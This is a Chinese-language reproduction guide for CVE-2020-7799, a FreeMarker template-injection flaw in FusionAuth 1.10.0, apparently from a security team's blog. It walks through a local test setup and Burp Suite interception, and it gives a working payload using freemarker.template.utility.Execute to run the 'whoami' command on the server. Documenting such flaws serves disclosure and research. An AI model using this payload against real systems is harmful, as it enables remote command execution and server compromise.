因为使用了Apache FreeMarker engine(freemarker-2.3.28.jar), 所以可以使用 freemarker 的语法, 类似 ${XXX? Built-ins}
而 new 这个 Built-ins 会 创建一个特定 TemplateModel 的 变量。
要求?
左边是TemplateModel,也就是 freemarker.template.utility.Execute, 而右边就是 initialize 这个 object 时的参数。
下载 FusionAuth 1.10.0(本次使用 FusionAuth 1.10.0 进行测试)
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip
将文件解压之后随便放一个位置
启动 MySQL
/etc/init.d/mysql start
启动 ElasticSearch
systemctl start elasticsearch.service
启动 FusionAuth
bin/startup.sh
打开网址
http://127.0.0.1:9011/
配置 FusionAuth
-
先配置数据库
配置 Elastic Search
创建好用户之后就可以登录了
进入 setting -> email template
随便点一个 template 的 edit
开启 Burp Suit 抓包, 配置好 proxy
点击 Preview, 然后去 Burp Suit 看抓包
修改
emailTemplate.defaultHtmlTemplate
为
${"freemarker.template.utility.Execute"?new()("whoami")}
forward 之后看结果
参考链接:
https://www.anquanke.com/post/id/198036
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7799 阅读原文看更多复现文章Timeline Sec 团队安全路上,与你并肩前行